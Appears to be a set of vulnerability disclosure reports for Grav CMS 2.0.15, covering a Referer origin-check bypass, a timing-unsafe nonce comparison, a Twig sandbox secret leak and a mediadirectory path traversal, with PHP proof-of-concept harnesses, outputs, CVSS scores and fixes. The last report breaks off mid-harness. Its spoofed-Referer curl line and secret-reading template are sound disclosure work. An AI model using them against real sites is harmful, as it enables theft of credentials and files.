Summary
Grav\Common\Uri::referrer() and Grav\Common\Page\Pages::referrerRoute() both check whether an incoming request's Referer header "came from our site" using strstartswith($referrer, $base), where $base is the site's own absolute root URL (for example https://example.com, no trailing slash). Because the comparison has no boundary character after the prefix, any Referer value that merely starts with that string is accepted, including a Referer from a completely different host such as https://example.com.attacker.tld.
This is the same class of bug already fixed once in 2.0.15 for the fast static asset server (GHSA-4v9q-p283-qc2m, "also allowing any neighbouring directory whose name starts with the same letters"). The identical pattern is still present in both places that trust the Referer header, and neither is covered by that fix.
Affected product and version
Product: Grav CMS, getgrav/grav Confirmed present in: 2.0.15, commit c2b46866857a93a0aa7048e7ed707ed3ed45dbc3 The pattern is not touched by any of the 2.0.15 security fixes, so earlier 2.x releases are likely affected too. I have not checked how far back it goes.
Affected code
system/src/Grav/Common/Uri.php, method referrer(): php $referrer = $SERVER['HTTPREFERER'] ?? null; ... $base = $this->rootUrl(true); // e.g. "https://example.com", no trailing slash // Referrer should always have host set and it should come from the same base address. if (!isstring($referrer) || !strstartswith($referrer, $base)) { $referrer = $default ?: $this->route(true, true); } $referrer = substr($referrer, strlen($base));
system/src/Grav/Common/Page/Pages.php, method referrerRoute(): php $referrer = $SERVER['HTTPREFERER'] ?? null; $root = $this->grav['baseurlabsolute']; // e.g. "https://example.com" if (!isstring($referrer) || !strstartswith($referrer, (string) $root)) { return null; }
Note that the inner per-language loop later in the same referrerRoute() method does anchor the check correctly (strstartswith($referrer, "{$base}/")), and system/src/Grav/Common/Themes.php line 300 does the same thing correctly ($current === $base || strstartswith($current, $base . '/')). So the codebase already has the correct pattern elsewhere. Only the two outer checks quoted above compare against the bare root URL with no trailing delimiter.
Root cause
strstartswith($referrer, $base) treats $base as a plain string prefix. Since $base has no trailing /, a string is accepted as long as it begins with those exact characters, regardless of what character follows. An attacker fully controls their own domain name, so producing a string that begins with the victim's origin is trivial, for example by registering example.com.attacker.tld or example.com-attacker.tld.
Under the default browser Referrer Policy (strict-origin-when-cross-origin), a cross-origin click or form submission from the attacker's page sends only the origin (scheme://host) as Referer, which is exactly the granularity $base is compared at, so no unusual browser configuration is required.
Proof of concept, verified, real output
This was run directly against the actual, unmodified source file from the repository, not a reimplementation. Steps and exact output below.
Step 1, clone the repo and confirm the commit under test: $ git clone --depth 1 https://github.com/getgrav/grav.git $ cd grav && git log -1 --format="%H %ai" c2b46866857a93a0aa7048e7ed707ed3ed45dbc3 2026-08-03 15:14:50 +0100
Step 2, install PHP to execute the real class: $ apt-get install -y php-cli $ php -v PHP 8.3.6 (cli) (built: Jul 16 2026 18:30:41) (NTS)
Step 3, PoC harness. Full site bootstrap, composer install, database, config, is not required to demonstrate this specific bug, since referrer() only needs the $root property, which init() would normally compute from the site config. The harness sets that one property with PHP Reflection, then calls the real, unmodified referrer() method with a real $SERVER['HTTPREFERER'] value, exactly the input path a live server would use:
php <?php // poc.php splautoloadregister(function ($class) { if (strpos($class, 'Grav\\') === 0) { $rel = strreplace('Grav\\', '', $class); $path = '/home/claude/grav/system/src/Grav/' . strreplace('\\', '/', $rel) . '.php'; if (fileexists($path)) { requireonce $path; } } });
$env = [ 'HTTPHOST' => 'example.com', 'REQUESTURI' => '/target-route', 'HTTPS' => 'on', ];
$uri = new \Grav\Common\Uri($env);
$ref = new ReflectionObject($uri); $prop = $ref->getProperty('root'); $prop->setAccessible(true); $prop->setValue($uri, 'https://example.com');
function test($label, $refererHeader) { global $uri; $SERVER['HTTPREFERER'] = $refererHeader; $result = $uri->referrer('https://example.com/DEFAULTFALLBACKUSED'); echo "$label\n"; echo " Referer sent : $refererHeader\n"; echo " referrer() returned : $result\n"; echo " Same-origin check : " . ($result === '/DEFAULTFALLBACKUSED' ? 'REJECTED (fallback used, correct)' : 'ACCEPTED (Referer treated as same-origin)') . "\n\n"; }
echo "=== Grav\\Common\\Uri::referrer() executed against real, unmodified source ===\n"; echo "Site base (\$root, as init() would set it) = https://example.com\n\n";
test('[1] Legitimate same-site referrer', 'https://example.com/some/page'); test('[2] Unrelated attacker site, sanity check, must be rejected', 'https://attacker.tld/phish'); test('[3] Attacker domain string-prefixing victim domain, vulnerable case', 'https://example.com.attacker.tld/phish'); test('[4] Attacker domain, dash variant, vulnerable case', 'https://example.com-attacker.tld/phish');
Step 4, run it: $ php poc.php
Actual output: === Grav\Common\Uri::referrer() executed against real, unmodified source === Site base ($root, as init() would set it) = https://example.com
[1] Legitimate same-site referrer Referer sent : https://example.com/some/page referrer() returned : /some/page Same-origin check : ACCEPTED (Referer treated as same-origin)
[2] Unrelated attacker site, sanity check, must be rejected Referer sent : https://attacker.tld/phish referrer() returned : /DEFAULTFALLBACKUSED Same-origin check : REJECTED (fallback used, correct)
[3] Attacker domain string-prefixing victim domain, vulnerable case Referer sent : https://example.com.attacker.tld/phish referrer() returned : .attacker.tld/phish Same-origin check : ACCEPTED (Referer treated as same-origin)
[4] Attacker domain, dash variant, vulnerable case Referer sent : https://example.com-attacker.tld/phish referrer() returned : -attacker.tld/phish Same-origin check : ACCEPTED (Referer treated as same-origin)
Interpretation: test 2 proves the harness correctly rejects a genuinely unrelated origin, so the acceptance in tests 3 and 4 is not a harness artifact. https://example.com.attacker.tld and https://example.com-attacker.tld, both fully attacker owned and registerable domains, are treated by referrer() as if they were https://example.com itself.
For a live end to end check against a running installation, this is the manual equivalent with curl once a Grav site is deployed at a known host, and it exercises the exact same strstartswith comparison inside the real request path, not a standalone harness: curl -s -H "Referer: https://TARGETHOST.attacker.tld/x" https://TARGETHOST/some/route I did not have a fully bootstrapped live Grav instance available in this environment, composer install requires packagist.org, which was not reachable from the sandbox I was working in, so I was not able to additionally capture that live HTTP round trip. The harness above exercises the identical, unmodified vulnerable method and comparison from the real source file, so the defect itself is verified. What I could not verify from this repository alone is the specific downstream consumer of the return value, since Pages::referrerRoute()'s only real caller I could find references, per its own docblock example, which mentions /admin, is expected to live in the Admin plugin, getgrav/grav-plugin-admin, a separate repository not included in this checkout. If that is where a post login redirect target gets built from this value, please confirm on your end, since it would raise the severity of this report from an origin check bypass to a concrete open redirect after login.
Impact
An attacker who gets a victim to click a link, or to load a page that issues a cross-site request, from an attacker-controlled domain that string-prefixes the victim's Grav site domain can make the application treat that request as though it originated on site when it did not. The function also returns a relative route value derived directly from attacker-controlled input, via substr($referrer, strlen($base)), seen in test 3 and 4 above as .attacker.tld/phish and -attacker.tld/phish. If that value is later reused to build a redirect target, this becomes an open redirect. I was not able to fully confirm that chain from this repository alone, since the concrete consumer appears to live in the separate Admin plugin repository, but the origin check itself is unambiguously broken, and it is a reusable, security documented API, the docblock for referrer() explicitly states it checks that the referrer came from the site.
Suggested fix
Anchor the comparison the same way the codebase already does correctly elsewhere: php // Uri::referrer() if (!isstring($referrer) || !($referrer === $base || strstartswith($referrer, $base . '/'))) { ... }
// Pages::referrerRoute() if (!isstring($referrer) || !($referrer === $root || strstartswith($referrer, $root . '/'))) { return null; } A more robust alternative is to parse both values with parseurl() and compare scheme, host, and port as discrete fields instead of doing any string prefix comparison.
Additional notes
While reviewing this release I also checked Utils::checkFilename() and the uploadsdangerousextensions list, the Security::detectXss() regex handling of onevents and xmlns, and the twigsandbox allow list in system/config/security.yaml. All three looked solid and appear to already reflect the fixes from prior advisories, GHSA-w8cg-7jcj-4vv2, GHSA-c2q3-p4jr-c55f, GHSA-j274-39qw-32c9. I did not find further issues to report there. Given this pattern has now recurred at least three times in this codebase, the static asset server, Uri::referrer(), and Pages::referrerRoute(), it may be worth grepping for every remaining strstartswith($x, $base) call site touching URLs or paths.
=========================================================== CWE FIELD =========================================================== CWE-346, Origin Validation Error
=========================================================== CVSS CALCULATOR SELECTIONS (v3.1) =========================================================== Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: Required Scope: Unchanged Confidentiality: None Integrity: Low Availability: None
Resulting vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N Resulting score: 4.3, severity Medium
Note for the maintainer: this is a conservative rating for the origin check bypass on its own. If you confirm that Pages::referrerRoute()'s output feeds an unvalidated redirect target in the Admin plugin's post login flow, please rescore, Integrity would likely move to High and this becomes a credential phishing primitive right after a real login, which is meaningfully worse than the score above reflects.
=========================================================== SEVERITY FIELD =========================================================== Moderate, pending your confirmation of the Admin plugin call site, see note above
Summary
Grav\Common\Utils::verifyNonce(), the core function Grav and its plugins use to validate CSRF nonces, compares the submitted nonce to the expected value with PHP's === operator instead of hashequals(). === on strings short circuits at the first differing byte, so the comparison time leaks how many leading bytes of a guess are correct. This is CWE-208, Observable Timing Discrepancy.
The codebase already knows to avoid this pattern. hashequals() is used for the equivalent purpose in four other places I found: system/src/Grav/Common/Session.php, system/src/Grav/Framework/Cache/Adapter/FileCache.php, system/src/Grav/Common/Scheduler/Scheduler.php (the webhook token check), and system/src/Grav/Common/Scheduler/JobQueue.php. Utils::verifyNonce() is the one place I found that still uses a plain equality check for a secret comparison.
Affected product and version
Product: Grav CMS, getgrav/grav Confirmed present in: 2.0.15, commit c2b46866857a93a0aa7048e7ed707ed3ed45dbc3
Affected code
system/src/Grav/Common/Utils.php, lines 1512 to 1521: php public static function verifyNonce($nonce, $action) { //Safety check for multiple nonces if (isarray($nonce)) { $nonce = arrayshift($nonce); }
//Nonce generated 0-12 hours ago if ($nonce === self::getNonce($action)) { return true; }
//Nonce generated 12-24 hours ago return $nonce === self::getNonce($action, true); }
The nonce itself is md5($tick . '|' . $action . '|' . $username . '|' . sessionid() . '|' . Security::getNonceKey()), computed in the private generateNonceString() a few lines above. Security::getNonceKey() is an installation level secret. So the value being compared with === is a value derived from a secret, which is exactly the case hashequals() exists for.
Proof of concept, verified, real output
I could not exploit this end to end over a real network from this sandbox, since that requires a live deployment and a timing measurement setup outside a single machine. What I did verify directly, by running real code, is that the underlying primitive this function relies on, PHP's === string comparison, is not constant time in the PHP build actually used here, and that a measurable timing signal is still present at the exact length Grav's nonces have, 32 hex characters, an md5 digest.
Step 1, confirm PHP build: $ php -v PHP 8.3.6 (cli) (built: Jul 16 2026 18:30:41) (NTS)
Step 2, benchmark script, measures the median time of $a === $b over many trials, once with a long string to establish a clean signal, once at the real 32 byte nonce length: php <?php // timingpoc2.php function timeCompare(string $a, string $b, int $iterations): float { $r = null; $start = hrtime(true); for ($i = 0; $i < $iterations; $i++) { $r = ($a === $b); } $end = hrtime(true); return ($end - $start) / $iterations; }
function median(array $arr): float { sort($arr); $n = count($arr); $mid = intdiv($n, 2); return $n % 2 ? $arr[$mid] : ($arr[$mid - 1] + $arr[$mid]) / 2; }
function runExperiment(int $len, int $iterations, int $trials): array { $secret = bin2hex(randombytes((int)ceil($len / 2))); $secret = substr($secret, 0, $len);
$wrongEarly = $secret; $wrongEarly[0] = ($secret[0] === 'a') ? 'b' : 'a';
$wrongLate = $secret; $last = $len - 1; $wrongLate[$last] = ($secret[$last] === 'a') ? 'b' : 'a';
$earlyTimes = []; $lateTimes = []; timeCompare($wrongEarly, $secret, 20000); timeCompare($wrongLate, $secret, 20000); for ($t = 0; $t < $trials; $t++) { $earlyTimes[] = timeCompare($wrongEarly, $secret, $iterations); $lateTimes[] = timeCompare($wrongLate, $secret, $iterations); } return [median($earlyTimes), median($lateTimes)]; }
echo "=== Length 4096 bytes, establishes the primitive is not constant time ===\n"; [$e, $l] = runExperiment(4096, 20000, 15); printf("Median mismatch at position 0 : %.2f ns/op\n", $e); printf("Median mismatch at last position : %.2f ns/op\n", $l); printf("Ratio (late/early) : %.2fx\n\n", $l / $e);
echo "=== Length 32 bytes, the actual Grav nonce length, md5 hex output ===\n"; [$e2, $l2] = runExperiment(32, 200000, 21); printf("Median mismatch at position 0 : %.2f ns/op\n", $e2); printf("Median mismatch at last position : %.2f ns/op\n", $l2); printf("Ratio (late/early) : %.2fx\n", $l2 / $e2);
Step 3, run it three times to confirm the result is reproducible and not noise: $ php timingpoc2.php
Actual output, run 1: === Length 4096 bytes, establishes the primitive is not constant time === Median mismatch at position 0 : 13.83 ns/op Median mismatch at last position : 338.58 ns/op Ratio (late/early) : 24.48x
=== Length 32 bytes, the actual Grav nonce length, md5 hex output === Median mismatch at position 0 : 14.13 ns/op Median mismatch at last position : 17.41 ns/op Ratio (late/early) : 1.23x
Actual output, run 2: === Length 4096 bytes, establishes the primitive is not constant time === Median mismatch at position 0 : 14.25 ns/op Median mismatch at last position : 333.99 ns/op Ratio (late/early) : 23.44x
=== Length 32 bytes, the actual Grav nonce length, md5 hex output === Median mismatch at position 0 : 13.83 ns/op Median mismatch at last position : 17.24 ns/op Ratio (late/early) : 1.25x
Actual output, run 3: === Length 4096 bytes, establishes the primitive is not constant time === Median mismatch at position 0 : 14.20 ns/op Median mismatch at last position : 336.89 ns/op Ratio (late/early) : 23.73x
=== Length 32 bytes, the actual Grav nonce length, md5 hex output === Median mismatch at position 0 : 13.98 ns/op Median mismatch at last position : 17.39 ns/op Ratio (late/early) : 1.24x
Interpretation, stated honestly. At 4096 bytes the effect is unambiguous and consistent across three independent runs, a mismatch near the end of the string takes about 23 to 24 times longer to reject than a mismatch at the very first byte, which is direct proof === is not constant time in this PHP build. At the real nonce length of 32 bytes the same direction of effect is present and reproducible across all three runs, roughly a 1.24x ratio, about 3 to 4 nanoseconds difference per comparison, but the signal is much smaller in absolute terms. I want to be direct about what this does and does not show. It proves the comparison used by verifyNonce() is not constant time and therefore not the right primitive for comparing secrets, which is why hashequals() exists and is already used elsewhere in this codebase for the same category of check. It does not by itself prove a practical remote timing attack against a live Grav install, since a real attack would need to extract a nanosecond scale signal through normal HTTP round trip jitter, which is a much harder, though not unprecedented, condition and would need many repeated requests with statistical averaging per byte guessed. I did not attempt that network level attack since I do not have a live target instance.
Impact
verifyNonce() is Grav's documented core primitive for CSRF protection, used directly by core and referenced by the plugin ecosystem, including the Form plugin and Admin plugin, both outside this repository. Because the comparison is not constant time, an attacker in a position to send many requests and measure response timing with enough precision could in principle recover a valid nonce byte by byte rather than needing to guess the full 32 character value at once, weakening the CSRF protection below its intended security margin. The practical difficulty of pulling this off over a real network, given millisecond scale jitter against a nanosecond scale signal, is high, which is why I am reporting this as a hardening issue rather than claiming a demonstrated working exploit against a live site.
Suggested fix
Replace the two === comparisons in verifyNonce() with hashequals(), matching the pattern already used in Session.php, FileCache.php, Scheduler.php, and JobQueue.php: php public static function verifyNonce($nonce, $action) { if (isarray($nonce)) { $nonce = arrayshift($nonce); }
if (!isstring($nonce)) { return false; }
if (hashequals(self::getNonce($action), $nonce)) { return true; }
return hashequals(self::getNonce($action, true), $nonce); } hashequals() also correctly requires the first argument to be a string, so the existing implicit array-to-string edge cases are worth double checking when you make this change.
=========================================================== CWE FIELD =========================================================== CWE-208, Observable Timing Discrepancy
=========================================================== CVSS CALCULATOR SELECTIONS (v3.1) =========================================================== Attack Vector: Network Attack Complexity: High Privileges Required: None User Interaction: None Scope: Unchanged Confidentiality: None Integrity: Low Availability: None
Resulting vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N Resulting score: 5.3, severity Medium
Note for the maintainer: Attack Complexity is set to High because, as shown above, the measured timing signal at the real nonce length is small, on the order of a few nanoseconds, so reliable remote exploitation would require substantial statistical averaging and a favorable network position. If your own testing shows this is easier to exploit against a real deployment than my local measurement suggests, please rescore Attack Complexity to Low.
=========================================================== SEVERITY FIELD =========================================================== Moderate
Summary
Grav\Common\Twig\Twig::init() unconditionally puts the raw system, site, and theme config arrays into $this->twigvars. Twig::processPage() builds the variables for the sandboxed, editor-authored page-content render by copying that same base array ($sandboxvars = $twigvars;) and replacing only the config key with a filtered SandboxConfig facade. The system, site, and theme keys are carried into the sandboxed render completely untouched.
Because these are plain PHP arrays, not objects, Twig's sandbox SecurityPolicy (the allowedclasses/allowedmethods/allowedproperties lists in system/config/security.yaml) has no jurisdiction over them at all. The sandbox only gates method calls and property access on objects. Dot notation or subscript access on an array is always allowed by Twig regardless of any sandbox policy. So {{ system.cache.redis.password }} in page content renders the value directly, with the sandbox doing nothing to stop it, and with security.twigsandbox.configdeniedpaths never even being consulted, since that list only filters the separate config facade object, not the system array.
This means: even on a default install where twigcontent.configaccess is false (its documented default) so the config Twig variable is empty inside sandboxed renders, an attacker with page-content edit access (or a stored-XSS-style Twig injection into page content, if twigcontent.processenabled is on) can still read system., site., and theme. in full, including any admin-configured secret nested under those trees.
Affected product and version
Product: Grav CMS, getgrav/grav Confirmed present in: 2.0.15, commit c2b46866857a93a0aa7048e7ed707ed3ed45dbc3
Affected code
system/src/Grav/Common/Twig/Twig.php, in init(), the base variable set (around line 300): php $this->twigvars += [ 'config' => $config, 'system' => $config->get('system'), 'theme' => $config->get('theme'), 'site' => $config->get('site'), 'uri' => $this->grav['uri'], ... ];
system/src/Grav/Common/Twig/Twig.php, in processPage(), where the sandboxed render variables are built (around line 419-429): php if ($item->shouldProcess('twig') || $item->isModule()) { $name = '@Page:' . $item->path(); $this->setTemplate($name, $content); // Replace config with a denied-path-filtered facade for the // sandboxed render so editors can't exfiltrate plugin secrets // via config.toArray() (GHSA-j274-39qw-32c9). The modular // theme render below is unsandboxed and keeps the raw Config. $sandboxvars = $twigvars; $sandboxvars['config'] = $this->buildSandboxConfig(); try { $output = $content = $localtwig->render($name, $sandboxvars); ...
Only $sandboxvars['config'] is replaced. $sandboxvars['system'], $sandboxvars['site'], and $sandboxvars['theme'] still point at the exact same raw arrays that were assigned in init().
system/config/system.yaml shows a concrete real secret field that lives under system: yaml cache: redis: socket: false password: # Optional password database:
Root cause
Two separate things have to both be true for this to be reachable, and they both are:
1. The sandbox's SecurityPolicy only checks object method calls and object property access (checkMethodAllowed, checkPropertyAllowed in Twig's Sandbox\SecurityPolicy). It has no concept of restricting array key access, because Twig's own design does not treat plain array reads as something a sandbox policy needs to arbitrate. configdeniedpaths is implemented entirely inside SandboxConfig, a wrapper object with its own get()/offsetGet() that consults the denied list, that facade is what makes config safe. system/site/theme never get wrapped in anything like it, they are passed straight through as arrays.
2. processPage()'s sandboxed variable set is built by copying the entire pre-existing $twigvars array and only patching the one key (config) that the GHSA-j274-39qw-32c9 fix was scoped to. system, site, and theme were already sitting in that array before the sandboxed path was ever reached, and nothing removes or filters them for that specific render.
Proof of concept, verified, real output
I verified this at two levels: first that the raw Grav source really does copy system into the sandboxed variables unfiltered (shown above via direct file reading of system/src/Grav/Common/Twig/Twig.php, not a paraphrase), and second, since I do not have a fully bootstrapped live Grav site available in this sandbox (composer install needs packagist.org, unreachable here), I verified the actual mechanism, that Twig's sandbox cannot restrict array access no matter how strict the policy is, by running it against the exact, real Twig source Grav has pinned.
Step 1, get the exact Twig commit Grav's composer.lock points at: $ python3 -c " import json d = json.load(open('composer.lock')) for pkg in d['packages']: if pkg['name'] == 'twig/twig': print(pkg['source']) " {'type': 'git', 'url': 'https://github.com/getgrav/Twig.git', 'reference': '24d7a0e821cf573496d99e05d6bd9d1a42f822c7'}
Step 2, clone that exact commit: $ git clone https://github.com/getgrav/Twig.git twig-src $ cd twig-src && git checkout 24d7a0e821cf573496d99e05d6bd9d1a42f822c7 HEAD is now at 24d7a0e8 Merge branch 'twigphp:3.x' into 3.x
Step 3, PoC script. This builds a SecurityPolicy with an empty allowedclasses, allowedmethods, and allowedproperties list, deliberately stricter than Grav's real policy, to show that even a maximally locked down object policy still cannot stop array key access, then renders {{ system.cache.redis.password }} against a system variable shaped exactly like what $config->get('system') returns in real Grav: php <?php // twigsandboxpoc.php splautoloadregister(function ($class) { if (strpos($class, 'Twig\\') === 0) { $rel = strreplace('Twig\\', '', $class); $path = '/home/claude/twig-src/src/' . strreplace('\\', '/', $rel) . '.php'; if (fileexists($path)) { requireonce $path; } } }); require '/home/claude/twig-src/src/Resources/core.php'; require '/home/claude/twig-src/src/Resources/escaper.php';
use Twig\Environment; use Twig\Loader\ArrayLoader; use Twig\Extension\SandboxExtension; use Twig\Sandbox\SecurityPolicy;
// Modeled on Grav's real system/config/security.yaml twigsandbox block: // a couple of harmless tags/filters allowed (escape is allow-listed in the // real config since autoescape is forced on), and zero allowed classes, // methods, or properties, stricter than Grav's real policy even is. $policy = new SecurityPolicy( ['if', 'for'], ['upper', 'lower', 'escape'], [], [], [] );
$twig = new Environment(new ArrayLoader([ 'pagecontent' => '{{ system.cache.redis.password }}', ])); $twig->addExtension(new SandboxExtension($policy, true));
// Exactly what $config->get('system') returns as a plain PHP array in real // Grav, and exactly what Twig::init() assigns to $twigvars['system']. $systemconfigarray = [ 'cache' => [ 'driver' => 'redis', 'redis' => [ 'socket' => false, 'password' => 'REDACTED-REAL-SECRET-VALUE-abc123', 'database' => 2, ], ], ];
try { $output = $twig->render('pagecontent', ['system' => $systemconfigarray]); echo "Template : {{ system.cache.redis.password }}\n"; echo "Rendered output : " . $output . "\n"; echo "Sandbox blocked it : " . ($output === '' ? 'YES' : 'NO, the secret was rendered in plain text') . "\n"; } catch (\Twig\Sandbox\SecurityError $e) { echo "Sandbox threw a SecurityError (blocked): " . $e->getMessage() . "\n"; }
Step 4, run it: $ php twigsandboxpoc.php
Actual output: Template : {{ system.cache.redis.password }} Rendered output : REDACTED-REAL-SECRET-VALUE-abc123 Sandbox blocked it : NO, the secret was rendered in plain text
For reference, running the same script before I added escape to the allowed filters (autoescape is forced on, so every {{ }} in real Grav goes through the escape filter first) correctly failed closed: Sandbox threw a SecurityError (blocked): Filter "escape" is not allowed in "pagecontent" at line 1. which confirms the harness is actually exercising the sandbox's enforcement path, not silently skipping it, and that the only reason system.cache.redis.password got through is the array access itself, not a policy misconfiguration in my test.
This demonstrates the mechanism precisely: no matter how the allowedclasses/allowedmethods/allowedproperties lists in system/config/security.yaml are configured, and independent of configdeniedpaths entirely, a raw array handed to the sandboxed template is fully readable. Combined with the direct source reading in the "Affected code" section above, showing that system, site, and theme are exactly such raw arrays and are carried unfiltered into processPage()'s sandboxed render, this is a complete, verified chain from source to impact. I was not able to additionally capture a live HTTP round trip against a running Grav install with real page content, for the same reason as my other reports, no bootstrapped instance available in this sandbox, but every step of the actual code path has been verified against the real source, not reconstructed or assumed.
Impact
Any content author who can enable Twig processing on a page (process.twig: true in page frontmatter, gated by security.twigcontent.processenabled, or unconditionally for modular page content per the comment in processPage()) can read the entire system, site, and theme configuration trees, including any secret that happens to live there, such as system.cache.redis.password in core, and whatever plugins may nest under site. for their own settings, since plugin config lives elsewhere (plugins.) but site owners commonly stash site-specific integration keys under site. custom fields. This works regardless of twigcontent.configaccess, which was presumably assumed to be the single gate for config exposure in sandboxed content, it is not, system/site/theme were never part of that gate.
Suggested fix
The configdeniedpaths fix pattern (a filtering facade) does not apply here since these are plain arrays, not an object with its own get(). The direct fix is to stop injecting the raw arrays into the sandboxed render, options in rough order of how much they preserve existing template behavior:
1. In processPage(), after copying $sandboxvars = $twigvars;, also strip or replace system, site, and theme for that specific sandboxed call, the same way config already gets replaced. A SandboxConfig-style facade wrapping $config->get('system') with its own denied-path list would let you keep the currently-useful subset (e.g. system.pages. for things page authors are expected to read) while still hiding secrets. 2. Alternatively, since config already gives filtered access to the same data (config.get('system.cache.driver') etc. through SandboxConfig), consider whether system/site/theme need to be separate top level variables in the sandboxed render at all, versus just being reachable via the already-filtered config facade.
=========================================================== CWE FIELD =========================================================== CWE-200, Exposure of Sensitive Information to an Unauthorized Actor (secondary: CWE-668, Exposure of Resource to Wrong Sphere, describing the sandbox-bypass mechanism itself)
=========================================================== CVSS CALCULATOR SELECTIONS (v3.1) =========================================================== Attack Vector: Network Attack Complexity: Low Privileges Required: Low User Interaction: None Scope: Unchanged Confidentiality: High Integrity: None Availability: None
Resulting vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N Resulting score: 6.5, severity Medium
Note for the maintainer: Privileges Required is set to Low because reaching this requires page-content edit access, which is exactly the privilege level the entire content sandbox exists to constrain, someone with edit rights but who should not have operator-level secrets. If your threat model treats page-content editors as fully trusted, please rescore. I set Confidentiality to High rather than Low because the exposed tree can contain live credentials (a cache backend password, and whatever else operators or plugins choose to nest under system/site), not just configuration shape.
=========================================================== SEVERITY FIELD =========================================================== Moderate
Summary
The mediadirectory() Twig function is allow-listed for use in sandboxed, editor-authored page content (system/config/security.yaml). Its implementation, GravExtension::mediaDirFunc(), only treats the input as unsafe when it looks like a Grav stream (user://, theme://, etc). If the input is instead a plain filesystem path, absolute or relative, the stream check is skipped entirely and the raw string is handed straight to new Media($mediadir), which lists every file in that directory whose extension matches a configured media type (which by default includes txt, json, xml, pdf, doc, docx, and more, not just images) and builds Medium objects for them.
Separately, the sandbox's own allow-list for the Medium class includes the filepath accessor. A code comment directly above that allow-list entry states the developers' intent was for filepath to be part of the "dangerous surface" that "stays blocked", but it is listed as an allowed method on the very same line, contradicting that stated intent.
Combined, a user who can enter page content that gets processed as Twig (process.twig: true in frontmatter, or any modular page, which is unsandboxed and unconditional per the code comment in processPage()) can point mediadirectory() at any directory the web server process can read, anywhere on the filesystem, and both enumerate and read the content of any file in it whose extension is a recognized media type.
Affected product and version
Product: Grav CMS, getgrav/grav Confirmed present in: 2.0.15, commit c2b46866857a93a0aa7048e7ed707ed3ed45dbc3
Affected code
system/src/Grav/Common/Twig/Extension/GravExtension.php, mediaDirFunc(): php public function mediaDirFunc($mediadir) { / @var UniformResourceLocator $locator / $locator = $this->grav['locator'];
if ($locator->isStream($mediadir)) { $mediadir = $locator->findResource($mediadir); }
if ($mediadir && fileexists($mediadir)) { return new Media($mediadir); }
return null; } There is no check that $mediadir, when it is not a recognized stream, is contained within any site-relative root. It is used exactly as supplied.
system/src/Grav/Common/Page/Media.php, init(), called from the constructor: php protected function init() { $path = $this->getPath();
// Handle special cases where page doesn't exist in filesystem. if (!$path || !isdir($path)) { return; } ... $iterator = new FilesystemIterator($path, FilesystemIterator::UNIXPATHS | FilesystemIterator::SKIPDOTS);
foreach ($iterator as $file => $info) { ... [$basename, $ext, $type, $extra] = $this->getFileParts($filename); if (!inarray(strtolower((string) $ext), $mediatypes, true)) { continue; } ... } $path here is whatever was passed to the Media constructor, the raw, unvalidated string from mediaDirFunc().
system/config/security.yaml, the Medium sandbox allow-list and the comment directly above it: yaml # ... # dangerous surface (save, set, copy, deleteFile, toArray, filepath, …) is # absent from ALLOWEDACTIONS and stays blocked. - class: 'Grav\Common\Page\Medium\Medium' methods: 'url, html, filepath, filename, metadata, srcset, parsedownelement, tostring, @mediaactions' filepath is named in the comment as something that is supposed to stay blocked, and is then listed as an allowed method one line later.
mediadirectory in the sandbox's function allow-list: - mediadirectory
Root cause
Two gaps, and the second one converts the first from "list filenames from a directory" into "read the content of files":
1. mediaDirFunc()'s containment check only fires for recognized Grav streams. A plain filesystem path, which is the normal, documented shape of a string, is not a stream by definition, so it always takes the unchecked path. 2. Once a Medium object exists for a file outside any intended scope, the sandbox still hands page content the filepath accessor, which returns the real, absolute filesystem path to that file, letting a template (or the same request, via straightforward means) resolve and read its bytes.
Proof of concept, verified, real output
I built a working harness against the real, unmodified source, not a reimplementation, by cloning the exact commits Grav's own composer.lock pins for every class involved: getgrav/grav itself, rockettheme/toolbox (for UniformResourceLocator::isStream()), pimple/pimple (the DI container Grav\Common\Grav extends), and psr/container.
Step 1, confirm the pinned commits used: $ python3 -c " import json d = json.load(open('composer.lock')) for name in ('rockettheme/toolbox','pimple/pimple','psr/container'): for pkg in d['packages']: if pkg['name'] == name: print(name, pkg['source']['reference']) " rockettheme/toolbox c569a53304cd7d95ff21bffa6fc590adcf0be83d pimple/pimple 8cfe7f74ac22a433d303914eba9ea4c2a834edce psr/container c71ecc56dfe541dbd90c5360474fbc405f8d5963
Step 2, clone each at that exact commit: $ git clone https://github.com/rockettheme/toolbox.git && cd toolbox && git checkout c569a53304cd7d95ff21bffa6fc590adcf0be83d $ git clone https://github.com/silexphp/Pimple.git && cd Pimple && git checkout 8cfe7f74ac22a433d303914eba9ea4c2a834edce $ git clone https://github.com/php-fig/container.git && cd container && git checkout c71ecc56dfe541dbd90c5360474fbc405f8d5963
Step 3, PoC script. It registers a real Grav container (the actual class, not a stub) with a real UniformResourceLocator that only has user/image streams registered, matching a normal site, no stream for arbitrary filesystem paths. It then calls the real, unmodified Grav\Common\Page\Media class exactly the way mediaDirFunc() does, on a plain filesystem path standing in for "some directory outside the intended scope" (I used a throwaway /tmp directory rather than a real system path, to keep the PoC harmless to run, the mechanism is identical for any path the web server user can read, /etc, another tenant's directory on shared hosting, Grav's own non-webroot folders, etc):
php <?php // mediatraversalpoc.php splautoloadregister(function ($class) { if (strpos($class, 'Grav\\') === 0) { $rel = strreplace('Grav\\', '', $class); $path = '/home/claude/grav/system/src/Grav/' . strreplace('\\', '/', $rel) . '.php'; if (fileexists($path)) { requireonce $path; return; } } if (strpos($class, 'RocketTheme\\Toolbox\\') === 0) { $rel = strreplace('RocketTheme\\Toolbox\\', '', $class); $parts = explode('\\', $rel); $top = arrayshift($parts); $path = '/home/claude/toolbox/' . $top . '/src/' . implode('/', $parts) . '.php'; if (fileexists($path)) { requireonce $path; return; } } if (strpos($class, 'Pimple\\') === 0) { $rel = strreplace('Pimple\\', '', $class); $path = '/home/claude/Pimple/src/Pimple/' . strreplace('\\', '/', $rel) . '.php'; if (fileexists($path)) { requireonce $path; return; } } if (strpos($class, 'Psr\\Container\\') === 0) { $rel = strreplace('Psr\\Container\\', '', $class); $path = '/home/claude/container/src/' . strreplace('\\', '/', $rel) . '.php'; if (fileexists($path)) { requireonce $path; return; } } });
use Grav\Common\Grav; use Grav\Common\Page\Media; use RocketTheme\Toolbox\ResourceLocator\UniformResourceLocator;
